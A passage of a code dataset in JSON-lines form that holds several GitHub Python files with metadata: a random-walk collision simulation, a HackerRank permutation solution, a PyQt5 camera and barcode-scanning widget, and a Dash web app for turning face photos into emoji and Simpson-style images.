1:\n # take step ahead\n X1 += 1\n else:\n X1 -= 1\n if val2 is 1:\n X2 += 1\n else:\n X2 -= 1\n if X1 is X2:\n X[i] = 1\n for j in range(0,N+1):\n count[j]+= X[j]\n\nprint(count)\nXaxis= [ i for i in range(N+1)]\n\nplt.xlabel('Number of steps')\nplt.ylabel('Probability of colliding')\nplt.plot(Xaxis,count)\nplt.show()\n", "repo_name": "Vikr-182/Random-walkers-implementation", "sub_path": "script.py", "file_name": "script.py", "file_ext": "py", "file_size_in_byte": 831, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "random.randint", "line_number": 15, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}]} {"seq_id": "71142779430", "text": "#https://www.hackerrank.com/challenges/largest-permutation\n#points 30\n\nfrom collections import defaultdict\n\n\nn, k = map(int, input().split())\narray = list(map(int, input().split()))\n\nar_enum = defaultdict(int)\n\nfor i in range(n):\n ar_enum[array[i]] = i\n\nj = 0\nl = 0\nif n > 1:\n for i in range(n, 0, -1):\n if i != array[j] and array[j] < i:\n ar_enum[i], ar_enum[array[j]] = ar_enum[array[j]], ar_enum[i] \n array[ar_enum[array[j]]] = array[j]\n array[j] = i\n l += 1\n #print(*array)\n if l >= k:\n break\n j += 1\n \nar_enum = {j:i for (i,j) in ar_enum.items()}\n\nfor i in range(n):\n print(ar_enum[i], end=\" \")", "repo_name": "Azim-Islam/Problem-Solving-DSA", "sub_path": "HackerRank/hr_largest_permutation.py", "file_name": "hr_largest_permutation.py", "file_ext": "py", "file_size_in_byte": 706, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "collections.defaultdict", "line_number": 10, "usage_type": "call"}]} {"seq_id": "39840895095", "text": "\"\"\"\nManaging camera input and barcode detection\n\"\"\"\nfrom __future__ import annotations\nfrom PyQt5.QtWidgets import QFrame, QLabel, QSizePolicy\nfrom PyQt5.QtCore import Qt, QThread, pyqtSlot, pyqtSignal\nfrom PyQt5.QtGui import QImage, QPixmap\nfrom config.macros import FRAME_RATE, FRAMES_BEETWEEN_SCANS\nfrom pyzbar import pyzbar\nfrom playsound import playsound\nfrom threading import Thread\nimport cv2\nimport os\nimport time\n\n\nclass CameraPreviewThread(QThread):\n change_pixmap = pyqtSignal(QImage)\n ms_per_frame = int((1 / FRAME_RATE) * 1000)\n pictureRequest = False\n\n def __init__(\n self,\n parent: CameraDisplayFrame,\n width: int,\n height: int,\n scannerMode: bool = True,\n save_seq: int = 1,\n camera_name: str = \"None\",\n deviceNum: int = None,\n ):\n super().__init__(parent)\n CameraPreviewThread.top = parent\n CameraPreviewThread._save_seq = save_seq\n CameraPreviewThread.camera_name = camera_name\n CameraPreviewThread.deviceNum = deviceNum\n CameraPreviewThread.width = width\n CameraPreviewThread.height = height\n CameraPreviewThread.scannerMode = scannerMode\n CameraPreviewThread.newProduct = True\n\n @staticmethod\n def getLastPath() -> str:\n return CameraPreviewThread.currentPath\n\n def run(self):\n cap = cv2.VideoCapture(CameraPreviewThread.deviceNum)\n spacingCounter = 0\n barcodes = []\n from appContext import context\n\n beepSoundPath = context.get_resource(\"beep.mp3\")\n\n while (\n not self.isInterruptionRequested()\n and CameraPreviewThread.deviceNum is not None\n ):\n\n ret, frame = cap.read()\n\n if CameraPreviewThread.pictureRequest:\n cv2.imwrite(CameraPreviewThread.currentPath, frame)\n CameraPreviewThread._save_seq += 1\n CameraPreviewThread.pictureRequest = False\n\n if (\n CameraPreviewThread.newProduct\n and not CameraPreviewThread.scannerMode\n ):\n\n if spacingCounter == FRAMES_BEETWEEN_SCANS and ret:\n # looking for barcode in camera input\n spacingCounter = 0\n barcodes = pyzbar.decode(frame)\n else:\n spacingCounter += 1\n\n for barcode in barcodes:\n # printing highlight of found barcodes\n (x, y, width, height) = barcode.rect\n cv2.rectangle(\n frame, (x, y), (x + width, y + height), (0, 0, 255), 4\n )\n\n if barcodes:\n t = Thread(target=lambda: playsound(beepSoundPath))\n t.start()\n\n CameraPreviewThread.top.top.productManagerFrame.setBarcode(\n barcodes[0].data.decode(\"utf-8\")\n )\n CameraPreviewThread.newProduct = False\n barcodes = []\n CameraPreviewThread.top.top.controller.saveCurrentProduct()\n\n if ret:\n rgbImage = cv2.resize(\n cv2.cvtColor(frame, cv2.COLOR_BGR2RGB),\n (CameraPreviewThread.width, CameraPreviewThread.height),\n )\n\n h, w, ch = rgbImage.shape\n bytesPerLine = ch * w\n self.change_pixmap.emit(\n QImage(\n rgbImage.data, w, h, bytesPerLine, QImage.Format_RGB888\n ).scaled(\n CameraPreviewThread.width,\n CameraPreviewThread.height,\n Qt.KeepAspectRatio,\n )\n )\n else:\n CameraPreviewThread.deviceNum = None\n QThread.msleep(CameraPreviewThread.ms_per_frame)\n\n\nclass CameraDisplayFrame(QFrame):\n def __init__(self, top):\n \"\"\"\n top - appView to connect component to\n the rest of the application\n \"\"\"\n super().__init__()\n self.top = top\n self.setMinimumSize(800, 640)\n self.setAutoFillBackground(False)\n self.setFrameShape(QFrame.StyledPanel)\n self.setFrameShadow(QFrame.Raised)\n self.setObjectName(\"cameraDisplayFrame\")\n self.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)\n # UNCOMMENT BELOW COMMENT FOR CAMERA OUTPUT\n self.initUI()\n\n def initUI(self):\n \"\"\"\n Initializing live camera preview\n \"\"\"\n self.label = QLabel(self)\n self.label.setAlignment(Qt.AlignTop)\n\n self.label.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)\n self.label.setMinimumSize(self.width(), self.height())\n\n self.cameraThread = CameraPreviewThread(\n self, self.width(), self.height(), deviceNum=0\n )\n self.cameraThread.change_pixmap.connect(self.setImage)\n self.cameraThread.start()\n\n self.resizeEvent = self.cameraDisplayResize\n\n def setScannerMode(self, mode: bool):\n CameraPreviewThread.scannerMode = mode\n\n @pyqtSlot(QImage)\n def setImage(self, image):\n self.label.setPixmap(QPixmap.fromImage(image))\n\n def cameraDisplayResize(self, e):\n \"\"\"\n Method that executes when widget is resized\n \"\"\"\n CameraPreviewThread.width = self.width()\n CameraPreviewThread.height = self.height()\n self.label.setMinimumHeight(self.height())\n self.label.setMinimumWidth(self.width())\n\n def takePicture(self, savePath: str, username: str = \"Anonim\") -> str:\n \"\"\"\n Take picture, if successful -> returns path to newly created\n image\n if not -> returns empty string\n \"\"\"\n # bug: app can produce silent crash when clicking the\n # photo button too intensively, can fix it\n # by replacing some variables ex. RequestPhoto\n # this is probably a concurrency problem\n\n timestamp = time.strftime(\"%d-%m-%Y-%H_%M_%S\")\n CameraPreviewThread.currentPath = os.path.join(\n savePath,\n \"%s-%04d-%s.jpg\"\n % (username, CameraPreviewThread._save_seq, timestamp),\n )\n CameraPreviewThread.user = username\n CameraPreviewThread.pictureRequest = True\n # below we are wating 2 frames for the saving to take place\n # after that we expect for the picture to be loaded correctly\n QThread.msleep(CameraPreviewThread.ms_per_frame * 2)\n return self.cameraThread.currentPath\n\n def noDeviceDialog(self):\n from utils.DialogCollection import errorOccured\n\n errorOccured(\"no device detected\")\n\n def setup(self, mode: bool):\n CameraPreviewThread.scannerMode = mode\n\n def turnOffCamera(self):\n self.cameraThread.requestInterruption()\n self.cameraThread.wait()\n", "repo_name": "michalwilk123/STManager", "sub_path": "src/main/python/gui/cameraDisplay.py", "file_name": "cameraDisplay.py", "file_ext": "py", "file_size_in_byte": 6945, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "PyQt5.QtCore.QThread", "line_number": 17, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 18, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QImage", "line_number": 18, "usage_type": "argument"}, {"api_name": "config.macros.FRAME_RATE", "line_number": 19, "usage_type": "name"}, {"api_name": "cv2.VideoCapture", "line_number": 47, "usage_type": "call"}, {"api_name": "appContext.context.get_resource", "line_number": 52, "usage_type": "call"}, {"api_name": "appContext.context", "line_number": 52, "usage_type": "name"}, {"api_name": "{'context': 'appContext.context'}.deviceNum", "line_number": 56, "usage_type": "attribute"}, {"api_name": "{'context': 'appContext.context'}.pictureRequest", "line_number": 61, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 62, "usage_type": "call"}, {"api_name": "{'context': 'appContext.context'}.currentPath", "line_number": 62, "usage_type": "attribute"}, {"api_name": "{'context': 'appContext.context'}._save_seq", "line_number": 63, "usage_type": "attribute"}, {"api_name": "{'context': 'appContext.context'}.pictureRequest", "line_number": 64, "usage_type": "attribute"}, {"api_name": "{'context': 'appContext.context'}.newProduct", "line_number": 67, "usage_type": "attribute"}, {"api_name": "{'context': 'appContext.context'}.scannerMode", "line_number": 68, "usage_type": "attribute"}, {"api_name": "config.macros.FRAMES_BEETWEEN_SCANS", "line_number": 71, "usage_type": "name"}, {"api_name": "pyzbar.pyzbar.decode", "line_number": 74, "usage_type": "call"}, {"api_name": "pyzbar.pyzbar", "line_number": 74, "usage_type": "name"}, {"api_name": "cv2.rectangle", "line_number": 81, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 86, "usage_type": "call"}, {"api_name": "playsound.playsound", "line_number": 86, "usage_type": "call"}, {"api_name": "{'context': 'appContext.context'}.top.top.productManagerFrame.setBarcode", "line_number": 89, "usage_type": "call"}, {"api_name": "{'context': 'appContext.context'}.top", "line_number": 89, "usage_type": "attribute"}, {"api_name": "{'context': 'appContext.context'}.newProduct", "line_number": 92, "usage_type": "attribute"}, {"api_name": "{'context': 'appContext.context'}.top.top.controller.saveCurrentProduct", "line_number": 94, "usage_type": "call"}, {"api_name": "{'context': 'appContext.context'}.top", "line_number": 94, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 97, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 98, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 98, "usage_type": "attribute"}, {"api_name": "{'context': 'appContext.context'}.width", "line_number": 99, "usage_type": "attribute"}, {"api_name": "{'context': 'appContext.context'}.height", "line_number": 99, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QImage", "line_number": 105, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QImage.Format_RGB888", "line_number": 106, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QImage", "line_number": 106, "usage_type": "name"}, {"api_name": "{'context': 'appContext.context'}.width", "line_number": 108, "usage_type": "attribute"}, {"api_name": "{'context': 'appContext.context'}.height", "line_number": 109, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt.KeepAspectRatio", "line_number": 110, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 110, "usage_type": "name"}, {"api_name": "{'context': 'appContext.context'}.deviceNum", "line_number": 114, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QThread.msleep", "line_number": 115, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QThread", "line_number": 115, "usage_type": "name"}, {"api_name": "{'context': 'appContext.context'}.ms_per_frame", "line_number": 115, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 118, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFrame.StyledPanel", "line_number": 128, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 128, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFrame.Raised", "line_number": 129, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 129, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QSizePolicy.Expanding", "line_number": 131, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QSizePolicy", "line_number": 131, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 139, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.AlignTop", "line_number": 140, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 140, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QSizePolicy.Expanding", "line_number": 142, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QSizePolicy", "line_number": 142, "usage_type": "name"}, {"api_name": "{'context': 'appContext.context'}", "line_number": 145, "usage_type": "call"}, {"api_name": "{'context': 'appContext.context'}.scannerMode", "line_number": 154, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QPixmap.fromImage", "line_number": 158, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 158, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 156, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QImage", "line_number": 156, "usage_type": "argument"}, {"api_name": "{'context': 'appContext.context'}.width", "line_number": 164, "usage_type": "attribute"}, {"api_name": "{'context': 'appContext.context'}.height", "line_number": 165, "usage_type": "attribute"}, {"api_name": "time.strftime", "line_number": 180, "usage_type": "call"}, {"api_name": "{'context': 'appContext.context'}.currentPath", "line_number": 181, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 181, "usage_type": "call"}, {"api_name": "os.path", "line_number": 181, "usage_type": "attribute"}, {"api_name": "{'context': 'appContext.context'}._save_seq", "line_number": 184, "usage_type": "attribute"}, {"api_name": "{'context': 'appContext.context'}.user", "line_number": 186, "usage_type": "attribute"}, {"api_name": "{'context': 'appContext.context'}.pictureRequest", "line_number": 187, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QThread.msleep", "line_number": 190, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QThread", "line_number": 190, "usage_type": "name"}, {"api_name": "{'context': 'appContext.context'}.ms_per_frame", "line_number": 190, "usage_type": "attribute"}, {"api_name": "utils.DialogCollection.errorOccured", "line_number": 196, "usage_type": "call"}, {"api_name": "{'context': 'appContext.context'}.scannerMode", "line_number": 199, "usage_type": "attribute"}]} {"seq_id": "18958817928", "text": "import base64\nimport time\nfrom io import BytesIO as _BytesIO\n\nimport dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output\n\nimport digits_server\nfrom predict_all import *\n\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\n\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\n\nHTML_IMG_SRC_PARAMETERS = 'data:image/png;base64, '\n\n\ndef pil_to_b64(im, enc_format='png', verbose=False, **kwargs):\n \"\"\"\n Converts a PIL Image into base64 string for HTML displaying\n :param im: PIL Image object\n :param enc_format: The image format for displaying. If saved the image will have that extension.\n :return: base64 encoding\n \"\"\"\n t_start = time.time()\n\n buff = _BytesIO()\n im.save(buff, format=enc_format, **kwargs)\n encoded = base64.b64encode(buff.getvalue()).decode(\"utf-8\")\n\n t_end = time.time()\n return encoded\n\n\ndef b64_to_pil(string):\n string += \"=\" * ((4 - len(string) % 4) % 4)\n decoded = base64.b64decode(string)\n buffer = _BytesIO(decoded)\n buffer.seek(0)\n im = Image.open(buffer)\n\n return im\n\n\ndef numpy_to_b64(np_array, enc_format='png', scalar=True, **kwargs):\n \"\"\"\n Converts a numpy image into base 64 string for HTML displaying\n :param np_array:\n :param enc_format: The image format for displaying. If saved the image will have that extension.\n :param scalar:\n :return:\n \"\"\"\n # Convert from 0-1 to 0-255\n if scalar:\n np_array = np.uint8(255 * np_array)\n else:\n np_array = np.uint8(np_array)\n\n im_pil = Image.fromarray(np_array)\n\n return pil_to_b64(im_pil, enc_format, **kwargs)\n\n\n# Sample Data Collection Start\ndigits_display_images = [{'label': str(i) + '.png', 'value': str(i)} for i in xrange(1, 50)]\n\nsample_digits_display = [21, 333, 467, 20, 70, 557, 52, 324, 677, 101, 320, 98, 302, 259]\nsample_digits_imgs = [Image.open('./results/digits/outputs/' + str(i) + '.png') for i in sample_digits_display]\nsample_digits_encoded = [pil_to_b64(i) for i in sample_digits_imgs]\n\n# Sample Data Collection End\n\napp.layout = html.Div([\n html.H1(\n children='Sketch Art',\n style={\n 'textAlign': 'center'\n }\n ),\n html.H6(\n children='Rishabh Bhardwaj, Neha Jain, Prem Sagar Gali',\n style={\n 'textAlign': 'center'\n }\n ),\n html.Div([\n dcc.Tabs(id=\"tabs\", children=[\n # dcc.Tab(label='Digits Transfer', children=[\n # html.H4('SVHN (Source) -> MNIST (Target)',\n # style={\n # 'textAlign': 'center'\n # }\n # ),\n # html.P(\n # 'For Digit Transfer, we use Street View House Numbers(SVHN) and MNIST databse of handwritten digits. SVHN training set consists of 73257 images, and MNIST training set size is 60000. All images are resized to (32,32) and SVHN images are normalize to [-1,1].'),\n # html.P(\n # 'We take SVHN as `Source` and MNIST as `Target`. Features (F-Model) for the SVHN images are extracted using four blocks of convolution layers with ReLU nonlinearity.To encode the features, we have taken first 7 layers of F model as `f` block in the digit model, so that it encodes the features from the images.'),\n # # html.Section(id=\"slideshow\", children=[\n # # html.Div(id=\"slideshow-container\", children=[\n # # html.Div(id=\"image\"),\n # # dcc.Interval(id='interval', interval=3000)\n # # ])\n # # ]),\n # html.H6('Sample Generated Images (SVHN generated in MNIST domain)'),\n # html.Div(id='digits-sample-container', children=[\n # html.Img(\n # src=HTML_IMG_SRC_PARAMETERS + sample_digits_encoded[0],\n # width='200px'\n # ),\n # html.Img(\n # src=HTML_IMG_SRC_PARAMETERS + sample_digits_encoded[1],\n # width='200px'\n # ),\n # html.Img(\n # src=HTML_IMG_SRC_PARAMETERS + sample_digits_encoded[2],\n # width='200px'\n # ),\n # html.Img(\n # src=HTML_IMG_SRC_PARAMETERS + sample_digits_encoded[3],\n # width='200px'\n # ),\n # html.Img(\n # src=HTML_IMG_SRC_PARAMETERS + sample_digits_encoded[4],\n # width='200px'\n # ),\n # html.Img(\n # src=HTML_IMG_SRC_PARAMETERS + sample_digits_encoded[5],\n # width='200px'\n # ),\n # html.Img(\n # src=HTML_IMG_SRC_PARAMETERS + sample_digits_encoded[6],\n # width='200px'\n # ),\n # html.Img(\n # src=HTML_IMG_SRC_PARAMETERS + sample_digits_encoded[7],\n # width='200px'\n # ),\n # html.Img(\n # src=HTML_IMG_SRC_PARAMETERS + sample_digits_encoded[8],\n # width='200px'\n # ),\n # html.Img(\n # src=HTML_IMG_SRC_PARAMETERS + sample_digits_encoded[9],\n # width='200px'\n # ),\n # html.Img(\n # src=HTML_IMG_SRC_PARAMETERS + sample_digits_encoded[10],\n # width='200px'\n # ),\n # html.Img(\n # src=HTML_IMG_SRC_PARAMETERS + sample_digits_encoded[11],\n # width='200px'\n # ),\n # html.Img(\n # src=HTML_IMG_SRC_PARAMETERS + sample_digits_encoded[12],\n # width='200px'\n # ),\n # html.Img(\n # src=HTML_IMG_SRC_PARAMETERS + sample_digits_encoded[13],\n # width='200px'\n # )\n # ]),\n # html.H6('Try out on SVHN Test Dataset...',\n # style={\n # 'textAlign': 'center'\n # }\n # ),\n # html.P('Select test image from dropdown:-',\n # style={\n # 'textAlign': 'center'\n # }\n # ),\n # dcc.Dropdown(\n # id='digits-dropdown',\n # options=digits_display_images,\n # value='20',\n # style={\n # 'textAlign': 'center',\n # 'width': '45%',\n # 'margin-left': '28%'\n # }\n # ),\n # html.Hr(),\n # html.P('Gnereated image in MNIST domain for selected SVHN image..',\n # style={\n # 'textAlign': 'center'\n # }\n # ),\n # html.Div(id='digits-result',\n # style={\n # 'textAlign': 'center',\n # }\n # ),\n # html.Hr()\n # ]),\n dcc.Tab(label='Face To Sketch', children=[\n html.Div(children=[\n html.Div(children=[\n html.H4('CelebA (Source) -> Emoji (Target)',\n style={\n 'textAlign': 'center'\n }\n ),\n html.P(\n 'For Emoji generation of Faces, we have used celebA dataset (200k images) and generated 100k Emojis using BitMoji API.'),\n html.P(\n 'We take celebA as `Source` and Emoji as `Target`. We have used Openface model as `f` block for feature exctraction.'),\n html.H6('Upload Face Image to generate emoji...',\n style={\n 'textAlign': 'center'\n }\n ),\n dcc.Upload(\n id='upload-image',\n children=[\n 'Drag and Drop or ',\n html.A('Select an Image')\n ],\n style={\n 'width': '28%',\n 'height': '50px',\n 'lineHeight': '50px',\n 'borderWidth': '1px',\n 'borderStyle': 'dashed',\n 'borderRadius': '5px',\n 'textAlign': 'center',\n 'margin-left': '35%'\n },\n accept='image/*'\n ),\n html.Div(id='result-tab-emoji')\n ])\n ]),\n ]),\n # dcc.Tab(label='Face To Cartoons', children=[\n # html.Div(children=[\n # html.Div(children=[\n # html.H4('CelebA (Source) -> CartoonSet (Target)',\n # style={\n # 'textAlign': 'center'\n # }\n # ),\n # html.P(\n # 'For Emoji generation of Faces, we have used celebA dataset (200k images) and generated 100k Emojis using BitMoji API.'),\n # html.P(\n # 'We take celebA as `Source` and Emoji as `Target`. We have used Openface model as `f` block for feature exctraction.'),\n # html.H6('Sample Generated Images (Faces generated in Emoji domain)',\n # style={\n # 'textAlign': 'center'\n # }\n # ),\n # dcc.Upload(\n # id='upload-image-cartoon',\n # children=[\n # 'Drag and Drop or ',\n # html.A('Select an Image')\n # ],\n # style={\n # 'width': '28%',\n # 'height': '50px',\n # 'lineHeight': '50px',\n # 'borderWidth': '1px',\n # 'borderStyle': 'dashed',\n # 'borderRadius': '5px',\n # 'textAlign': 'center',\n # 'margin-left': '35%'\n # },\n # accept='image/*'\n # ),\n # html.Div(id='result-tab-cartoon')\n # ])\n # ]),\n # ]),\n dcc.Tab(label='Face To Simpson', children=[\n html.Div(children=[\n html.Div(children=[\n html.H4('CelebA (Source) -> Simpson Dataset (Target)',\n style={\n 'textAlign': 'center'\n }\n ),\n html.P(\n 'For Simpson Face Transfer, we have used celebA dataset (200k images) as Source. Simpson Faces are face centred with size of 200X200. The total number of images are 9877 in this dataset.'),\n html.P(\n 'In simspons, we did not get visual results on test set but did observed that with each epoch generator is learning some characteristic features from simspons images.The simpsons dataset is face cropped but not face centred. Thus, the final face structure in the generated images is also not face centred.'),\n html.H6('Upload face image to transfer it in Simpson Face...',\n style={\n 'textAlign': 'center'\n }\n ),\n dcc.Upload(\n id='upload-image-simpson',\n children=[\n 'Drag and Drop or ',\n html.A('Select an Image')\n ],\n style={\n 'width': '28%',\n 'height': '50px',\n 'lineHeight': '50px',\n 'borderWidth': '1px',\n 'borderStyle': 'dashed',\n 'borderRadius': '5px',\n 'textAlign': 'center',\n 'margin-left': '35%'\n },\n accept='image/*'\n ),\n html.Div(id='result-tab-simpson')\n ])\n ]),\n ]),\n ])\n ])\n])\n\n\n@app.callback(\n Output(component_id='result-tab-emoji', component_property='children'),\n [Input(component_id='upload-image', component_property='contents')]\n)\ndef update_emoji(contents):\n Gnet = SketchNet(in_channels=3, out_channels=1, norm_type=args.Gnorm)\n # gpu_ids = [int(x) for x in args.gpus.split(',')]\n gpu_ids = []\n if len(gpu_ids) > 0:\n # Gnet.cuda()\n Gnet = nn.DataParallel(Gnet, device_ids=gpu_ids)\n else:\n Gnet = nn.DataParallel(Gnet, device_ids=gpu_ids)\n Gnet.eval()\n Gnet.load_state_dict(torch.load(args.test_weight_path, map_location='cpu'))\n\n utils.mkdirs(args.result_dir)\n for img_name in os.listdir(args.test_dir):\n test_img_path = os.path.join(args.test_dir, img_name)\n test_img = img_process.read_img_var(test_img_path, size=(256, 256))\n face_pred = Gnet(test_img)\n\n sketch_save_path = os.path.join(args.result_dir, img_name)\n img_process.save_var_img(face_pred, sketch_save_path, (250, 200))\n print('Save sketch in', sketch_save_path)\n\n\n print(contents)\n if contents:\n data = str(contents)[23:]\n img = b64_to_pil(data)\n tgt_img = predict_emoji(img)\n #tgt_img = Image.fromarray(tgt_img.astype('uint8'), 'RGB')\n out = numpy_to_b64(tgt_img)\n else:\n out = contents\n return html.Div(children=[\n html.Img(\n src=contents,\n width='200px'\n ),\n html.Img(\n\n src=HTML_IMG_SRC_PARAMETERS + out if out is not None else '',\n width='200px'\n )\n ], style={\n 'textAlign': 'center'\n })\n\n\n# @app.callback(\n# Output(component_id='result-tab-cartoon', component_property='children'),\n# [Input(component_id='upload-image-cartoon', component_property='contents')]\n# )\n# def update_cartoon(contents):\n#\n# if contents:\n# data = str(contents)[23:]\n#\n# img = b64_to_pil(data)\n# tgt_img = predict_cartoon(img)\n# #tgt_img = Image.fromarray(tgt_img.astype('uint8'), 'RGB')\n# out = numpy_to_b64(tgt_img)\n# else:\n# out = contents\n# return html.Div(children=[\n# html.Img(\n# src=contents,\n# width='200px'\n# ),\n# html.Img(\n#\n# src=HTML_IMG_SRC_PARAMETERS + out,\n# width='200px'\n# )\n# ], style={\n# 'textAlign': 'center'\n# })\n\n\n@app.callback(\n Output(component_id='result-tab-simpson', component_property='children'),\n [Input(component_id='upload-image-simpson', component_property='contents')]\n)\ndef update_simpson(contents):\n\n if contents:\n data = str(contents)[23:]\n\n img = b64_to_pil(data)\n tgt_img = predict_simpsons(img)\n #tgt_img = Image.fromarray(tgt_img.astype('uint8'), 'RGB')\n out = numpy_to_b64(tgt_img)\n else:\n out = contents\n return html.Div(children=[\n html.Img(\n src=contents,\n width='200px'\n ),\n html.Img(\n\n src=HTML_IMG_SRC_PARAMETERS + out if out is not None else '',\n width='200px'\n )\n ], style={\n 'textAlign': 'center'\n })\n\n#\n# @app.callback(\n# dash.dependencies.Output('digits-result', 'children'),\n# # [dash.dependencies.Input('digits-dropdown', 'value')]\n# )\n# def update_output(value):\n# print(value)\n#\n# orig_img = digits_server.get_svhn_image(int(value))\n# out_img = digits_server.digits_predict(orig_img)\n#\n# encoded_orig = pil_to_b64(orig_img)\n# encoded_out = numpy_to_b64(out_img)\n#\n# return html.Div(children=[\n# html.Img(\n# id='img-' + str(value),\n# src=HTML_IMG_SRC_PARAMETERS + encoded_orig,\n# width='200px'\n# ),\n# html.Img(\n# id='img-' + str(value),\n# src=HTML_IMG_SRC_PARAMETERS + encoded_out,\n# width='200px'\n# )\n# ], style={\n# 'textAlign': 'center'\n# })\n\n\nif __name__ == '__main__':\n app.run_server(debug=True)\n", "repo_name": "galipremsagar/Cross-Domain-Transfer-Net", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 17845, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "dash.Dash", "line_number": 15, "usage_type": "call"}, {"api_name": "time.time", "line_number": 27, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 29, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 31, "usage_type": "call"}, {"api_name": "time.time", "line_number": 33, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 39, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 40, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 75, "usage_type": "call"}, {"api_name": "dash_html_components.H1", "line_number": 76, "usage_type": "call"}, {"api_name": "dash_html_components.H6", "line_number": 82, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 88, "usage_type": "call"}, {"api_name": "dash_core_components.Tabs", "line_number": 89, "usage_type": "call"}, {"api_name": "dash_core_components.Tab", "line_number": 198, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 199, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 200, "usage_type": "call"}, {"api_name": "dash_html_components.H4", "line_number": 201, "usage_type": "call"}, {"api_name": "dash_html_components.P", "line_number": 206, "usage_type": "call"}, {"api_name": "dash_html_components.P", "line_number": 208, "usage_type": "call"}, {"api_name": "dash_html_components.H6", "line_number": 210, "usage_type": "call"}, {"api_name": "dash_core_components.Upload", "line_number": 215, "usage_type": "call"}, {"api_name": "dash_html_components.A", "line_number": 219, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 233, "usage_type": "call"}, {"api_name": "dash_core_components.Tab", "line_number": 276, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 277, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 278, "usage_type": "call"}, {"api_name": "dash_html_components.H4", "line_number": 279, "usage_type": "call"}, {"api_name": "dash_html_components.P", "line_number": 284, "usage_type": "call"}, {"api_name": "dash_html_components.P", "line_number": 286, "usage_type": "call"}, {"api_name": "dash_html_components.H6", "line_number": 288, "usage_type": "call"}, {"api_name": "dash_core_components.Upload", "line_number": 293, "usage_type": "call"}, {"api_name": "dash_html_components.A", "line_number": 297, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 311, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 356, "usage_type": "call"}, {"api_name": "dash_html_components.Img", "line_number": 357, "usage_type": "call"}, {"api_name": "dash_html_components.Img", "line_number": 361, "usage_type": "call"}, {"api_name": "dash.dependencies.Output", "line_number": 321, "usage_type": "call"}, {"api_name": "dash.dependencies.Input", "line_number": 322, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 416, "usage_type": "call"}, {"api_name": "dash_html_components.Img", "line_number": 417, "usage_type": "call"}, {"api_name": "dash_html_components.Img", "line_number": 421, 